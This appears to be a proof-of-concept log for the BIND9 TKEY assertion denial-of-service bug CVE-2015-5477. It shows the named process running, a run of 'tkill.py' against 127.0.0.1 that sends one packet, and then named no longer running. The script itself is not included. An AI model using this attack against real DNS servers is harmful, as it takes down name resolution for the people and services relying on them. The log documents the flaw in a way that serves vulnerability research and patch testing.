BIND9 TKEY 断言拒绝服务（CVE-2015-5477）的 PoC
$ ps awux | grep -v grep | grep bind
bind 2373 0.0 2.2 141164 13424 ? Ssl 14:58 0:00 /var/named/chroot/sbin/named -u bind -t /var/named/chroot -c /etc/named.conf
$ python tkill.py 127.0.0.1
Begin emission:
..Finished to send 1 packets.
.......................................................................................................................................................................................................................^C
Received 217 packets, got 0 answers, remaining 1 packets
$ ps awux | grep -v grep | grep bind
$